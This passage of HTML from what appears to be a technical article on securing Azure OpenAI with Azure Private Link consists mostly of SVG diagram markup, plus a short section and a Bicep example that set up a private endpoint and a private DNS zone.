style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='356' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='420' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='260' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='340' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='356' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='436' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='116' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='276' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='356' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='420' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='436' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='260' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='340' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='356' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='420' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='436' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='356' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='420' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='436' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='276' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='340' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='356' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='420' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='260' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='340' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='356' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='420' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='436' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='276' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='340' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='276' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='356' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='420' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='436' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='196' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='260' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='340' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='356' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='420' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='436' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='276' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='340' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='356' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='436' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='340' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='356' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='340' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='356' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='436' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='276' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='340' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='436' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='436' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='436' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='436' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='276' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='436' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='276' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='436' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='276' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='436' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='196' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"2-layer-1-network-isolation-with-azure-private-link\"\u003e2. Layer 1: Network Isolation with Azure Private Link\u003c/h2\u003e\n\u003cp\u003eThe foundation of this blueprint is removing the public endpoint entirely. Azure Private Link \u0026ldquo;injects\u0026rdquo; the Azure OpenAI service into your Virtual Network (VNet) by giving it a private IP.\u003c/p\u003e\n\u003ch3 id=\"implementing-private-endpoints\"\u003eImplementing Private Endpoints\u003c/h3\u003e\n\u003cp\u003eA Private Endpoint creates a Network Interface (NIC) in your subnet. To ensure transparent routing, link your VNet to a Private DNS Zone named \u003ccode\u003eprivatelink.openai.azure.com\u003c/code\u003e. Once the DNS A-record registers, all calls to \u003ccode\u003eyour-resource.openai.azure.com\u003c/code\u003e resolve to a private IP (e.g., \u003ccode\u003e10.0.1.5\u003c/code\u003e).\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Example Private Endpoint for Azure OpenAI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e privateEndpoint \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Network/privateEndpoints@2023-04-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eopenAiName\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e-pe\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location: location\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subnet: { id: subnetId } \u003cspan style=\"color:#75715e\"\u003e// Subnet must have privateEndpointNetworkPolicies: \u0026#39;Disabled\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    privateLinkServiceConnections: [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eopenAiName\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e-connection\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          privateLinkServiceId: openAiResourceId \u003cspan style=\"color:#75715e\"\u003e// Full ARM resource ID\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          groupIds: [\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;account\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#75715e\"\u003e// Required for Cognitive Services\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"secure-data-flow-architecture\"\u003eSecure Data Flow Architecture\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 720 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 16,32 L 160,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,32 L 480,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,32 L 704,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,64 L 176,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,64 L 272,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 488,64 L 496,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,64 L 560,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,128 L 160,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,128 L 704,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,144 L 480,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,208 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,32 L 16,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,32 L 160,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,80 L 216,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,32 L 288,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,152 L 384,168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,192 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,32 L 480,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,32 L 560,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 704,32 L 704,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,152 L 384,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='280.000000,64.000000 268.000000,58.400002 268.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 272.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='20' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' 